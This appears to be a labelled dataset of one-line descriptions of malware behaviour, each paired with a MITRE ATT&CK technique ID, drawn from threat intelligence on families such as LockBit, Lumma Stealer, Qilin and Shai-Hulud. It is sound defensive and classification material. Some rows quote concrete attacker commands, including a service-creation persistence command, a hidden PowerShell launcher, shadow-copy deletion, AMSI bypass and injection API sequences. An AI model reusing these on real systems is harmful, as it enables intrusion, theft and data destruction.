"InvisibleFerret has collected the internal IP address, IP geolocation information of the infected host and sends the data to a C2 server. InvisibleFerret has also leveraged the ""pay"" module to obtain region name, country, city, zip code, ISP, latitude and longitude using """,T1614
"InvisibleFerret has downloaded ""AnyDesk.exe"" into the user's home directory from the C2 server when checks for the service fail to identify its presence in the victim environment. InvisibleFerret has also been configured to download additional payloads using a command which calls to the /bow URI.",T1105
"InvisibleFerret has established persistence using LaunchAgents on macOS that run on Startup using a file named ""com.avatar.update.wake.plist"".",T1543.001
"InvisibleFerret has identified the user's UUID and username through the ""pay"" module.",T1033
"InvisibleFerret has stolen login data, autofill data, cryptocurrency wallets, and payment information saved in web browsers such as Chrome, Brave, Opera, Yandex and Edge, to include versions affiliated with major operating systems on Windows, Linux, and macOS. InvisibleFerret has also leveraged the command `ssh_zcp` to copy browser data to include extensions and cryptocurrency wallet data.",T1555.003
"InvisibleFerret has used FTP to exfiltrate files and directories using the command `ssh_upload` which contains with six subcommands of `.sdira`, `sdir`, `sfile`, `sfinda`, `sfindr` and `sfind` that had varying functions. InvisibleFerret has exfiltrated stolen files and data to the C2 servers over ports 1224, 2245 and 8637.",T1048.003
"InvisibleFerret has utilized a PowerShell script created in the victim's home directory named ""conf.ps1"" that is used to modify configuration files for AnyDesk remote services.",T1059.001
"InvisibleFerret has utilized the XOR and Base64 encoding for each of its modules. InvisibleFerret has also obfuscated files with a combination of zlib, Base64 and reverse string order. InvisibleFerret has also utilized the XOR and Base64 encoding some of its Python scripts.",T1027.013
IronNetInjector can identify processes via C# methods such as GetProcessesByName and running Tasklist with the Python os.popen function.,T1057
IronWind can capture the OS version and computer name of the compromised host.,T1082
IronWind has used DLL sideloading for execution.,T1574.001
JHUHUGIT has registered a Windows shell script under the Registry key HKCU\Environment\UserInitMprLogonScript to establish persistence.,T1037.001
JHUHUGIT obtains a build identifier as well as victim hard drive information from Windows registry key HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum. Another JHUHUGIT variant gathers the victim storage volume serial number and the storage device name.,T1680
KEYPLUG can use TCP and KCP (KERN Communications Protocol) over UDP for C2 communication.,T1095
KOCTOPUS will attempt to delete or disable all Registry keys and scheduled tasks related to Microsoft Security Defender and Security Essentials.,T1685
KOPILUWAK can enumerate current running processes on the targeted machine.,T1057
KOPILUWAK can use netstat and Net to discover network shares.,T1135
Kapeka is a Windows DLL file executed via ordinal by `rundll32.exe`.,T1218.011
Kapeka persists via scheduled tasks.,T1053.005
"Kapeka utilizes AES-256 (CBC mode), XOR, and RSA-2048 encryption schemas for various configuration and other objects.",T1027.013
Kapeka utilizes WinAPI calls to gather victim system information.,T1106
Kapeka utilizes obfuscated JSON structures for various data storage and configuration management items.,T1140
Kapeka writes persistent configuration information to the victim host registry.,T1112
Kazuar gathers information on the system.,T1082
Kevin can compile randomly-generated MOF files into the WMI repository to persistently run malware.,T1546.003
KillDisk has used the FindNextFile command as part of its file deletion process.,T1083
Kinsing has searched bash_history for credentials.,T1552.003
Kwampirs collects a list of running services with the command tasklist /v.,T1057
LAMEHUG can exfiltrate collected system information and documents to C2.,T1041
LAMEHUG can gather Active Directory domain information.,T1482
LAMEHUG can recursively copy files from targeted directories on victim hosts.,T1119
LAMEHUG has the ability to collect system information and files of interest from compromised systems.,T1005
LAMEHUG payloads have been disguised with legitimate looking filenames including AI_generator_uncensored_Canvas_PRO_v0.9.exe and AI_image_generator_v0.95.exe.,T1036.005
LIGHTWIRE can imbed itself into the legitimate `compcheckresult.cgi` component of Ivanti Connect Secure VPNs to enable command execution.,T1554
LODEINFO can delete files to remove traces of activity from victim systems.,T1070.004
LODEINFO can kill a process using specific process ID.,T1057
LODEINFO can list the contents of `%LocalAppData%\Google\Chrome\User Data\` and `%LocalAppData%\Microsoft\Edge\User Data\` to obtain cookies.,T1539
LODEINFO can run `net view` and `net view /domain` for network discovery.,T1018
LODEINFO can use VBA to drop malicious components on targeted hosts.,T1059.005
"LODEINFO can use Windows APIs such as `VirtualAllocEx()`, `WriteProcessMemory()`, `CreateRemoteThread()`, `NtAllocateVirtualMemory()`, `NtWriteVirtualMemory()`, and `RtlCreateUserThread()` to enable memory injection of shellcode.",T1106
LODEINFO components have been compressed with zip for delivery.,T1027.015
LODEINFO has collected stolen web cookies locally in the `%TEMP%` folder.,T1074.001
LODEINFO has used Registry run keys to set persistence.,T1547.001
LP-Notes has dynamically resolved API functions during the C runtime startup.,T1027.007
Latrodectus can enumerate running processes including process grandchildren on targeted hosts.,T1057
Latrodectus can set an AutoRun key to establish persistence.,T1547.001
Latrodectus has been distributed to victims through emails containing malicious links.,T1566.002
Latrodectus has called `msiexec` to install remotely-hosted MSI files.,T1218.007
Latrodectus has lured users into opening malicious email attachments for execution.,T1204.002
"LightNeuron has used filenames associated with Exchange and Outlook for binary and configuration files, such as winmail.dat.",T1036.005
"LightSpy's configuration file is appended to the end of the binary. For example, the last `0x1d0` bytes of one sample is an AES encrypted configuration file with a static key of `3e2717e8b3873b29`.",T1027.001
Line Dancer can disable syslog on compromised devices.,T1690
Line Dancer uses HTTP POST requests to interact with compromised devices.,T1071.001
"Line Runner intercepts HTTP requests to the victim Cisco ASA, looking for a request with a 32-character, victim dependent parameter. If that parameter matches a value in the malware, a contained payload is then written to a Lua script and executed.",T1557
LitePower has the ability to enumerate the OS architecture.,T1082
"Lizar has retrieved network information from a compromised host, such as the MAC address.",T1016
Lizar has used a complex XOR operation to obfuscate C2 communications.,T1132.002
LoFiSe can collect files into password-protected ZIP-archives for exfiltration.,T1560
LoFiSe can collect files of interest from targeted systems.,T1005
LockBit 2.0 can exclude files associated with core system functions from encryption.,T1083
LockBit 2.0 can modify Group Policy to disable Windows Defender and to automatically infect devices in Windows domains.,T1484.001
LockBit 3.0 can bypass UAC to execute code with elevated privileges through an elevated Component Object Model (COM) interface.,T1548.002
LockBit 3.0 can delete log files on targeted systems.,T1685.005
LockBit 3.0 can delete volume shadow copies.,T1490
LockBit 3.0 can encrypt C2 communications with AES.,T1573.001
LockBit 3.0 can use PsExec to execute commands and payloads.,T1569.002
LockBit 3.0 can use code packing to hinder analysis.,T1027.002
LockBit 3.0 will not affect machines with language settings matching a defined exlusion list of mainly Eastern European languages.,T1614.001
Lumma Stealer as leveraged Electron Applications to disable GPU sandboxing to avoid detection by security software.,T1218.015
"Lumma Stealer has attempted to bypass Windows Antimalware Scan Interface (AMSI) by removing the string ""AmsiScanBuffer"" from the ""clr.dll"" module in memory to prevent it from being called.",T1685
"Lumma Stealer has been distributed through a fake CAPTCHA that presents instructions to the victim to open Windows Run window (""Windows Button + R"") and paste clipboard contents (""CTRL + V"") and press ""Enter"" to execute a Base64-encoded PowerShell.",T1204
"Lumma Stealer has detected antivirus processes using commands such as ""tasklist"" and ""findstr.""",T1518.001
"Lumma Stealer has queried system resources on the victim device to identify if it is executing in a sandbox or virtualized environments, checking usernames, conducting WMI queries for system details, checking for files commonly found in virtualized environments, searching system services, and inspecting process names. Lumma Stealer has checked system GPU configurations for sandbox detection.",T1497.001
Lumma Stealer has used HTTP and HTTP for command and control communication.,T1071.001
"Lumma Stealer has used payloads that resemble benign file extensions such as .mp3, .accdb, and .pub, though the files contained malicious JavaScript content.",T1036.008
LunarLoader can deobfuscate files containing the next stages in the infection chain.,T1140
LunarLoader can use the DNS domain name of a compromised host to create a decryption key to ensure a malicious payload can only execute against the intended targets.,T1480
LunarMail can communicates with C2 using email messages via the Outlook Messaging API (MAPI).,T1071.003
LunarMail can use email image attachments with embedded data for receiving C2 commands and data exfiltration.,T1041
LunarWeb can retrieve output from arbitrary processes and shell commands via a pipe.,T1559
"LunarWeb can send short C2 commands, up to 512 bytes, encrypted with RSA-4096.",T1573.002
MEDUSA can XOR encrypt configuration strings.,T1027.013
MEDUSA can execute code through dynamic linker hijacking of the `LD_PRELOAD` library.,T1574.006
MOPSLED can communicate to C2 nodes over HTTP.,T1071.001
Mafalda can collect the contents of the `%USERPROFILE%\AppData\Local\Google\Chrome\User Data\LocalState` file.,T1217
Mafalda can create a named pipe to listen for and send data to a named pipe-based C2 server.,T1090.001
Mafalda can create a token for a different user.,T1134.003
Mafalda can decrypt files and data.,T1140
Mafalda can dump password hashes from `LSASS.exe`.,T1003.001
Mafalda can enumerate all drives on a compromised host.,T1680
Mafalda can establish an SSH connection from a compromised host to a server.,T1133
Mafalda can place retrieved files into a destination directory.,T1074.001
Mafalda can use port-knocking to authenticate itself to another implant called Cryshell to establish an indirect connection to the C2 server.,T1205.001
MagicRAT can import and execute additional payloads.,T1105
MagicRAT can persist via scheduled tasks.,T1053.005
MagicRAT exfiltrates data via HTTP over existing command and control channels.,T1041
MagicRAT uses HTTP POST communication for command and control.,T1071.001
Mango contains a series of base64 encoded substrings.,T1027.013
Manjusaka communication includes a client-created session cookie with base64-encoded information representing information from the victim system.,T1132.001
"Maze has checked the language of the infected system using the ""GetUSerDefaultUILanguage"" function.",T1082
Medusa Ransomware has leveraged an encoded list of services that it designates for termination.,T1007
"Medusa Ransomware has the capability to terminate services related to backups, security, databases, communication, filesharing and websites. Medusa Ransomware has also utilized the `taskkill /F /IM /T` command to stop targeted processes and `net stop ` command to stop designated services.",T1489
Megazord can execute multiple commands post infection via `cmd.exe`.,T1059.003
Megazord has the ability to terminate a list of services and processes.,T1489
MgBot includes modules for collecting information on local domain users and permissions.,T1482
MgBot includes modules for performing HTTP and server service scans.,T1046
Mispadu can list installed security products in the victim's environment.,T1518.001
Mispadu can steal credentials from Google Chrome.,T1555.003
Mispadu checks and will terminate execution if the compromised system's language ID is not Spanish or Portuguese.,T1614.001
Moneybird contains a configuration blob embedded in the malware itself.,T1027.009
Mosquito uses the ipconfig command.,T1016
MuddyViper has the ability to check for a specified list of security tools in the compromised environment.,T1518.001
MuddyViper has the ability to establish persistence by configuring its installation directory as a Windows Startup folder by setting the following Registry values to `%APPDATALOCAL%\Microsoft\Windows\PPBCompatCache\ManagerCache`: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup` and `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup`.,T1547.001
"MuddyViper has the ability to sleep for a certain amount of time, with the default being one minute.",T1678
MultiLayer Wiper creates a malicious scheduled task that launches a batch file to remove Windows Event Logs.,T1053.005
"MultiLayer Wiper generates a list of all files and paths on the fixed drives of an infected system, enumerating all files on the system except specific folders defined in a hardcoded list.",T1083
MultiLayer Wiper uses a batch script to clear file system cache memory via the ProcessIdleTasks export in advapi32.dll as an anti-analysis and anti-forensics technique.,T1070
NETWIRE can store its configuration information in the Registry under `HKCU:\Software\Netwire`.,T1027.011
NETWIRE has the ability to use /bin/bash and /bin/sh to execute commands.,T1059.004
NGLite identifies the victim system MAC and IPv4 addresses and uses these to establish a victim identifier.,T1016
NGLite will run the whoami command to gather system information and return this to the command and control server.,T1033
NICECURL has provided an arbitrary command execution interface.,T1059
"NICECURL has the ability to download additional content onto an infected machine, e.g. by using `curl`.",T1105
"NKAbuse conducts multiple system checks and includes these in subsequent ""heartbeat"" messages to the malware's command and control server.",T1082
NKAbuse enables multiple types of network denial of service capabilities across several protocols post-installation.,T1498
NKAbuse utilizes external services such as ifconfig.me to identify the victim machine's IP address.,T1016.001
NKAbuse will check victim systems to ensure only one copy of the malware is running.,T1057
NOKKI can gather information on drives on the victim's machine.,T1680
NOKKI can gather information on the operating system on the victim's machine.,T1082
NOOPLDR can delete a file containing configuration instructions after use.,T1070.004
NPPSPY captures user input into the Winlogon process by redirecting RPC traffic from legitimate listening DLLs within the operating system to a newly registered malicious item that allows for recording logon information in cleartext.,T1056
NPPSPY records data entered from the local system logon at Winlogon to capture credentials in cleartext.,T1005
NavRAT uses tasklist /v to check running processes.,T1057
Nebulae can use DLL side-loading to gain execution.,T1574.001
NightClub can load a module to call `CreateCompatibleDC` and `GdipSaveImageToStream` for screen capture.,T1113
NightClub can load a module to leverage the LAME encoder and `mciSendStringW` to control and capture audio.,T1123
NightClub can obfuscate strings using the congruential generator `(LCG): staten+1 = (690069 × staten + 1) mod 232`.,T1027
NightClub can use SMTP and DNS for file exfiltration and C2.,T1041
NightClub can use `GetForegroundWindow` to enumerate the active window.,T1010
NightClub can use a plugin for keylogging.,T1056.001
NightClub has copied captured files and keystrokes to the `%TEMP%` directory of compromised hosts.,T1074.001
Nightdoor gathers information on the victim system such as CPU and Computer name as well as device drivers.,T1082
Nightdoor uses scheduled tasks for persistence to load the final malware payload into memory.,T1053.005
Ninja can obtain information on physical drives from targeted hosts.,T1680
Ninja has the ability to inject an agent module into a new process and arbitrary shellcode into running processes.,T1055
Ninja has the ability to mimic legitimate services with customized HTTP URL paths and headers to hide malicious traffic.,T1001.003
Nltest may be used to enumerate remote domain controllers using options such as /dclist and /dsgetdc.,T1018
NotPetya can use wmic to help propagate itself across a network.,T1047
"OSX/Shlayer can use the chmod utility to set a file as executable, such as chmod 777 or chmod +x.",T1222.002
"OSX_OCEANLOTUS.D collects processor information, memory information, computer name, hardware UUID, serial number, and operating system version. OSX_OCEANLOTUS.D has used the ioreg command to gather some of this information.",T1082
OSX_OCEANLOTUS.D has used `zlib` to compress all data after 0x52 for the custom TCP C2 protocol.,T1132.001
OSX_OCEANLOTUS.D has used a custom binary protocol over port 443 for C2 traffic.,T1095
"OSX_OCEANLOTUS.D uses a decode routine combining bit shifting and XOR operations with a variable key that depends on the length of the string that was encoded. If the computation for the variable XOR key turns out to be 0, the default XOR key of 0x1B is used. This routine is also referenced as the `rotate` function in reporting.",T1140
"OSX_OCEANLOTUS.D uses file naming conventions with associated executable locations to blend in with the macOS TimeMachine and OpenSSL services. Such as, naming a LaunchAgent plist file `com.apple.openssl.plist` which executes OSX_OCEANLOTUS.D from the user's `~/Library/OpenSSL/` folder upon user login.",T1036.004
Octopus can collect system drive and disk size information.,T1680
OilBooster can stage files in the `tempFiles` directory for exfiltration.,T1074.001
OilBooster can use a backup channel to request a new refresh token from its C2 server after 10 consecutive unsuccessful connections to the primary OneDrive C2 server.,T1008
OilCheck can use a REST-based Microsoft Graph API to access draft messages in a shared Microsoft Office 365 Outlook email account used for C2 communication.,T1102.002
Olympic Destroyer uses PsExec to interact with the ADMIN$ network share to execute commands on remote systems.,T1021.002
"On macOS, LightSpy downloads a `.json` file from the C2 server. The `.json` file contains metadata about the plugins to be downloaded, including their URL, name, version, and MD5 hash. LightSpy retrieves the plugins specified in the `.json` file, which are compiled `.dylib` files. These `.dylib` files provide task and platform specific functionality. LightSpy also imports open-source libraries to manage socket connections.",T1105
PAKLOG has captured keystrokes using Windows API.,T1056.001
POWRUNER may collect information about the currently logged in user by running whoami on a victim.,T1033
POWRUNER may collect local group information by running net localgroup administrators or a series of other commands on a victim.,T1069.001
"PUBLOAD has collected information on Wi-Fi networks from victim hosts leveraging `netsh wlan show profiles`, `netsh wlan show interface`, and `netsh wlan show`.",T1016.002
PUBLOAD has embedded debug strings with messages to distract analysts. PUBLOAD has leveraged `OutputDebugStringW` and `OutputDebugStringA` functions.,T1622
"PUBLOAD has leveraged `curl` for data exfiltration over FTP by uploading RAR archives containing targeted files (.doc, .docx, .xls, .xlsx, .pdf, .ppt, .pptx) to an adversary-owned FTP site.",T1048.003
PUBLOAD has obfuscated DLL names using the ror13AddHash32 algorithm.,T1027
PUBLOAD has queried Registry values to identify software using `reg query`.,T1012
PUBLOAD has used RC4 encryption in C2 communications.,T1573.001
PUBLOAD has used `tasklist` to gather running processes on victim host. PUBLOAD has also leveraged the `OpenEventA` Windows API function to check whether the same process was already running.,T1057
PUBLOAD has used several commands executed in sequence via `cmd` in a short interval to gather information on network connections.,T1049
PUBLOAD has utilized a magic value in C2 communications and only executes in memory when response packets match specific values of 17 03 03. PUBLOAD has also used magic bytes consisting of 46 77 4d.,T1205
Pacu can collect CloudTrail event histories and CloudWatch logs.,T1654
Pacu can create malicious Lambda functions.,T1648
Pacu can enumerate IAM permissions.,T1069.003
Pasam creates a backdoor through which remote attackers can retrieve information like hostname.,T1082
Pillowmint has been compressed and stored within a registry key.,T1027.015
PipeMon has modified the Registry to store its encrypted payload.,T1112
"Playcrypt encrypts files on targeted hosts with an AES-RSA hybrid encryption, encrypting every other file portion of 0x100000 bytes.",T1486
PlugX has a module to enumerate drives and find files recursively. PlugX has also checked the path from which it is running for specific parameters prior to execution.,T1083
"PlugX has created a scheduled task to execute additional malicious software, as well as maintain persistence.",T1053.005
PlugX has loaded its payload into memory.,T1620
PoetRAT has used a custom encryption scheme for communication between scripts.,T1027
PoisonIvy creates a mutex using either a custom or default value.,T1480.002
PoshC2 can use Get-PassPol to enumerate the domain password policy.,T1201
PowerDuke runs cmd.exe /c and sends the output to its C2.,T1059.003
PowerLess has a browser info stealer module that can read Chrome and Edge browser database files.,T1217
PowerSploit's Get-Keystrokes Exfiltration module can log keystrokes.,T1056.001
PowerSploit's Install-SSP Persistence module can be used to establish by installing a SSP DLL.,T1547.005
PureCrypter can inject its final stage into another process on the targeted system.,T1055
PureCrypter can insert junk code to avoid detection.,T1027.016
PureCrypter can use Telegram or Discord to send infection status messages.,T1102
PureCrypter can use `kernel32!GetGeoInfo` to determine system location.,T1614
PureCrypter code contains an ExclusionRegionNames option where it can compare the results of `kernel32!GetGeoInfo` with a list of regions.,T1480
PureCrypter has the ability to delay for a specified number of seconds before execution.,T1678
"PureCrypter has used a .NET downloader named 63342221.BAT and has used .jpg, .png, and .log as false extensions for malicious files.",T1036.008
"PyDCrypt has modified firewall rules to allow incoming SMB, NetBIOS, and RPC connections using `netsh.exe` on remote machines.",T1686
QUIETCANARY can identify the default proxy setting on a compromised host.,T1016
QUIETEXIT can proxy traffic via SOCKS.,T1090.002
QakBot can identify remote systems through the net view command.,T1018
QakBot can remotely create a temporary service on a target host.,T1543.003
QakBot can use obfuscated and encoded scripts.,T1027.010
Qilin can create a mutex to ensure only one instance is running.,T1480.002
Qilin can embed a copy of PsExec within its payload and place it in the %Temp% directory under a randomly generated filename.,T1021.002
Qilin can make Registry modifications to share networked drives between elevated and non-elevated processes and to increase the number of outstanding network requests per client. Qilin can also modify `HKEY_CURRENT_USER\Control Panel\Desktop\Wallpaper` to enable posting of ransom messages.,T1112
Qilin can use AES-256 or ChaCha20 for domain-wide encryption of victim servers and workstations and RSA-4096 or RSA-2048 to secure generated encryption keys.,T1486
Qilin has been delivered to victims through malicious email attachments.,T1566.001
Qilin has been delivered to victims through spearphishing emails with malicious attachments.,T1204.002
Qilin has created a scheduled task named TVInstallRestore to mimic TeamViewer.,T1036.004
Qilin has named its payload file TeamViewer_Host_Setup to disguise itself as a legitimate TeamViewer file.,T1036.005
"Qilin has used PsExec to distribute a second encryptor, named encryptor_1.exe, across the targeted environment.",T1570
RAPIDPULSE retrieves files from the victim system via encrypted commands sent to the web shell.,T1005
REPTILE can deploy components automatically with shell scripts.,T1059.004
RIFLESPINE can use the AES algorithm to encrypt C2 data.,T1573.001
ROADSWEEP can RC4 encrypt content in blocks on targeted systems.,T1486
ROADSWEEP can disable critical services and processes.,T1489
"ROADSWEEP can enumerate files on infected devices and avoid encrypting files with .exe, .dll, .sys, .lnk, or . lck extensions.",T1083
ROAMINGHOUSE can use WMI to launch a legitimate executable later used to enable DLL sideloading.,T1047
RTM can use the FindNextUrlCacheEntryA and FindFirstUrlCacheEntryA functions to search for specific strings within browser history.,T1106
"RTM has named the scheduled task it creates ""Windows Update"".",T1036.004
Raccoon Stealer attempts to steal cookies and related information in browser history.,T1539
Raccoon Stealer uses existing HTTP-based command and control channels for exfiltration.,T1041
Ragnar Locker has attempted to terminate/stop processes and services associated with endpoint security products.,T1685
"RainyDay has used names to mimic legitimate software including ""vmtoolsd.exe"" to spoof Vmtools.",T1036.005
Ramsay can use ImprovedReflectiveDLLInjection to deploy components.,T1055.001
Ramsay can use netstat to enumerate network connections.,T1049
RansomHub can stop processes associated with files currently in use to maximize the impact of encryption.,T1057
RansomHub has created an autorun Registry key through the `-safeboot-instance -pass` command line argument.,T1547.001
RansomHub has the ability to self-delete.,T1070.004
RansomHub has used `vssadmin.exe` to delete volume shadow copies.,T1490
Raspberry Robin has historically used infected USB media to spread to new victims.,T1091
Raspberry Robin uses outbound HTTP requests containing victim information for retrieving second stage payloads. Variants of Raspberry Robin can download archive files (such as 7-Zip files) via the victim web browser for second stage execution.,T1071.001
"Raspberry Robin variants have been delivered via malicious advertising items that, when interacted with, download a malicious archive file containing the initial payload, hosted on services such as Discord.",T1583.008
Raspberry Robin will check for the presence of several security products on victim machines and will avoid UAC bypass mechanisms if they are identified. Raspberry Robin can use specific cookie values in HTTP requests to command and control infrastructure to validate that requests for second stage payloads originate from the initial downloader script.,T1480
Raspberry Robin will check to see if the initial executing script is located on the user's Desktop as an anti-analysis check.,T1083
"Raspberry Robin will execute a legitimate process, then suspend it to inject code for a Tor client into the process, followed by resumption of the process to enable Tor client execution.",T1055.012
"RedLine Stealer has an anti-sandbox technique that requires the malware to consistently check with the C2 server, if the communication fails RedLine Stealer will not continue execution.",T1497
RedLine Stealer has collected account information from the victim's machine.,T1087.001
RedLine Stealer has executed windows cmd using `ErrorHandler.cmd` to create scheduled tasks.,T1059.003
Remcos can collect the OS version and process architecture of compromised hosts.,T1082
Remcos can modify file attributes to hide the file.,T1564
Remcos can zip files and folders for upload.,T1560.001
"RogueRobin uses a command prompt to run a PowerShell script from Excel. To assist in establishing persistence, RogueRobin creates %APPDATA%\OneDrive.bat and saves the following string to it:powershell.exe -WindowStyle Hidden -exec bypass -File ""%APPDATA%\OneDrive.ps1"".",T1059.001
"RotaJakiro can monitor the `/proc/PID` directory of known RotaJakiro processes as a part of its persistence when executing with non-root permissions. If the process is found dead, it resurrects the process. RotaJakiro processes can be matched to an associated Advisory Lock, in the `/proc/locks` folder, to ensure it doesn't spawn more than one process.",T1057
Royal can identify specific files and directories to exclude from the encryption process.,T1083
Royal can scan the network interfaces of targeted systems.,T1046
Royal establishes a TCP socket for C2 communication using the API `WSASocketW`.,T1095
Royal ransomware uses `esxcli` to gather a list of running VMs and terminate them.,T1059.012
Royal uses a multi-threaded encryption process that can partially encrypt targeted files with the OpenSSL library and the AES256 algorithm.,T1486
RustyWater has established persistence by adding `C:\ProgramData\CertificationKit.ini` to a Windows startup Registry key or to a Run or RunOnce Registry key.,T1547.001
RustyWater has gathered the victim machine's username.,T1033
"RustyWater has used a Word document with a malicious Visual Basic for Applications (VBA) macro; when enabled, the CertificationKit.ini payload is constructed and executed.",T1204.002
"Ryuk has been observed to query the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language and the value InstallLanguage. If the machine has the value 0x419 (Russian), 0x422 (Ukrainian), or 0x423 (Belarusian), it stops execution.",T1614.001
SLIGHTPULSE can RC4 encrypt all incoming and outgoing C2 messages.,T1573.001
SLIGHTPULSE has piped the output from executed commands to `/tmp/1`.,T1074.001
"SLOTHFULMEDIA has named a service it establishes on victim machines as ""TaskFrame"" to hide its malicious purpose.",T1036.004
"SLOTHFULMEDIA has taken a screenshot of a victim's desktop, named it ""Filter3.jpg"", and stored it in the local directory.",T1113
SMOKEDHAM has used the systeminfo command on a compromised host.,T1082
SPAWNCHIMERA has checked where SELinux is enabled on the targeted host.,T1518.001
SPAWNCHIMERA has extracted the device's Linux kernel image (vmlinux).,T1005
SPAWNCHIMERA has leveraged IPC using a UNIX domain socket between the dsmdm process and the web process.,T1559
"SPAWNCHIMERA has obtained system information such as release, uptime, and current time.",T1082
SQLRat has created scheduled tasks in %appdata%\Roaming\Microsoft\Templates\.,T1053.005
"STARWHALE has the ability to create the following Windows service to establish persistence on an infected host: `sc create Windowscarpstss binpath= ""cmd.exe /c cscript.exe c:\\windows\\system32\\w7_1.wsf humpback_whale"" start= ""auto"" obj= ""LocalSystem""`.",T1543.003
STATICPLUGIN has been signed with a valid Certificate Authority(CA) to circumvent endpoint defenses.,T1553.002
SUNSPOT used Windows API functions such as MoveFileEx and NtQueryInformationProcess as part of the SUNBURST injection process.,T1106
SVCReady can collect a list of running processes from an infected host.,T1057
SVCReady can enter a sleep stage for 30 minutes to evade detection.,T1497.003
SVCReady can use Windows API calls to gather information from an infected host.,T1106
SVCReady has created the `HKEY_CURRENT_USER\Software\Classes\CLSID\{E6D34FFC-AD32-4d6a-934C-D387FA873A19}` Registry key for persistence.,T1546.015
Sagerunex is designed to be dynamic link library (DLL) injected into an infected endpoint and executed directly in memory.,T1055.001
Saint Bot has relied on users to execute a malicious attachment delivered via spearphishing.,T1204.002
SampleCheck5000 can create unique victim identifiers by using the compromised system's volume ID.,T1680
SampleCheck5000 can decode and decrypt command line strings and files received through C2.,T1140
Samurai can encrypt API name strings with an XOR-based algorithm.,T1027.007
Samurai has created the directory `%COMMONPROGRAMFILES%\Microsoft Shared\wmi\` to contain DLLs for loading successive stages.,T1036.005
Sardonic can first decrypt with the RC4 algorithm using a hardcoded decryption key before decompressing.,T1140
Sardonic can use WMI to execute PowerShell commands on a compromised machine.,T1047
Sardonic has the ability to execute PowerShell commands on a compromised machine.,T1059.001
Sardonic has the ability to execute the `netstat` command.,T1049
Seasalt creates a Registry entry to ensure infection after reboot under HKLM\Software\Microsoft\Windows\currentVersion\Run.,T1547.001
"ServHelper has created a new user named ""supportaccount"".",T1136.001
ServHelper has created a new user named `supportaccount`.,T1036.010
ShadowPad can modify the Registry to store and maintain a configuration block and virtual file system.,T1112
Shai-Hulud has attempted to gain root access by leveraging `sudo` and `/etc/sudoers.d`.,T1548.003
Shai-Hulud has augmented its installation process by having its original install process exit cleanly to provide the user with the illusion that the service is installed normally.,T1036.009
Shai-Hulud has destroyed the victim's home directory by overwriting and deleting every writable file within the user's home folder. Shai-Hulud has also utilized the `shred` command on Linux devices.,T1485
Shai-Hulud has exfiltrated repository secrets to `webhook.site`.,T1567.004
Shai-Hulud has masqueraded as a legitimate Bun installer.,T1036.005
Shai-Hulud has utilized Linux shell commands to modify configuration files.,T1059.004
Shai-Hulud has utilized PowerShell `Invoke-WebRequest` to download and install the malicious payload.,T1059.001
Shai-Hulud has utilized curl to install Bun over HTTPS.,T1071.001
SharpDisco can use a plugin to enumerate system drives.,T1680
SharpDisco has the ability to transfer data between SMB shares.,T1071.002
ShimRat has installed shim databases in the AppPatch folder.,T1546.011
ShimRatReporter used the Windows function GetExtendedUdpTable to detect connected UDP endpoints.,T1049
ShrinkLocker uses WMI queries to gather various information about the victim machine and operating system.,T1082
Sibot has downloaded a DLL to the C:\windows\system32\drivers\ folder and renamed it with a .sys extension.,T1036.005
Sibot has installed a second-stage script in the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\sibot registry key.,T1027.011
Sibot has modified the Registry to install a second-stage script in the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\sibot.,T1112
Siloscape impersonates the main thread of CExecSvc.exe by calling NtImpersonateThread.,T1134.001
Skidmap has the ability to set SELinux to permissive mode.,T1685
Sliver has the ability to support C2 communications over HTTP and HTTPS.,T1071.001
"Small Sieve can use variations of Microsoft and Outlook spellings, such as ""Microsift"", in its file names to avoid detection.",T1036.005
SnappyTCP spawns a reverse TCP shell following an HTTP-based negotiation.,T1095
Snip3 can download and execute additional payloads and modules over separate communication channels.,T1104
Snip3 can use visual basic scripts for first-stage execution.,T1059.005
SocGholish can identify the victim's browser in order to serve the correct fake update page.,T1518
SocGholish has been named `AutoUpdater.js` to mimic legitimate update files.,T1036.005
SocGholish has been spread via emails containing malicious links.,T1566.002
SocGholish has used Amazon Web Services to host second-stage servers.,T1102
"SodaMaster can use ""stackstrings"" for obfuscation.",T1027
SombRAT can run upload to decrypt and upload files from storage.,T1140
SombRAT has the ability to respawn itself using ShellExecuteW and CreateProcessW.,T1106
"SoreFang can collect the TCP/IP, DNS, DHCP, and network adapter configuration on a compromised host via ipconfig.exe /all.",T1016
SoreFang can enumerate domain groups by executing net.exe group /domain.,T1069.002
Spica can use JSON over WebSockets for C2 communications.,T1095
SplatDropper has leveraged legitimate binaries to conduct DLL side-loading.,T1574.001
StarProxy has utilized TLS record headers in network packets to impersonate various versions of TLS protocols to blend in with legitimate network traffic. StarProxy used FakeTLS to communicate with its C2 server.,T1001.003
StealBit can be configured to exfiltrate files at a specified rate to evade network detection mechanisms.,T1030
StealBit can enumerate the computer name and domain membership of the compromised system.,T1082
StrelaStealer DLL payloads have been executed via `rundll32.exe`.,T1218.011
StrelaStealer automatically sends gathered email credentials following collection to command and control servers via HTTP POST.,T1020
Stuxnet used WMI with an explorer.exe token to execute on a remote share.,T1047
Sykipot may use ipconfig /all to gather system network configuration details.,T1016
Sykipot may use netstat -ano to display active network connections.,T1049
SysUpdate can call the `GetNetworkParams` API as part of its C2 establishment process.,T1106
SysUpdate can collect a system's drive information.,T1680
SysUpdate can collect information about running processes.,T1057
SysUpdate can collect information and files from a compromised host.,T1005
SysUpdate can collected the IP address and domain name of a compromised host.,T1016
SysUpdate can contact the DNS server operated by Google as part of its C2 establishment process.,T1016.001
SysUpdate has used Base64 to encode its C2 traffic.,T1132.001
SysUpdate has used DES to encrypt all C2 communications.,T1573.001
"SystemBC has downloaded a text file into memory and set the area of memory via the VirtualProtect call. Then, SystemBC has executed the file via the CreateThread call.",T1620
SystemBC has leveraged VBScript to execute malicious code.,T1059.005
"SystemBC has leveraged the time of the device to create a text file with a filename that uses the function of `uniqid(time()).'.txt`, consisting of the 10 character UNIX timestamp and 13 hexadecimal characters.",T1124
SystemBC has used DNS servers to resolve .bit domains to C2 infrastructure.,T1071.004
TAMECAT has encoded C2 traffic with Base64.,T1132.001
TAMECAT has used HTTP for C2 communications.,T1071.001
TAMECAT has used Windows Management Instrumentation (WMI) to query anti-virus products.,T1047
TEARDROP ran as a Windows service from the c:\windows\syswow64 folder.,T1543.003
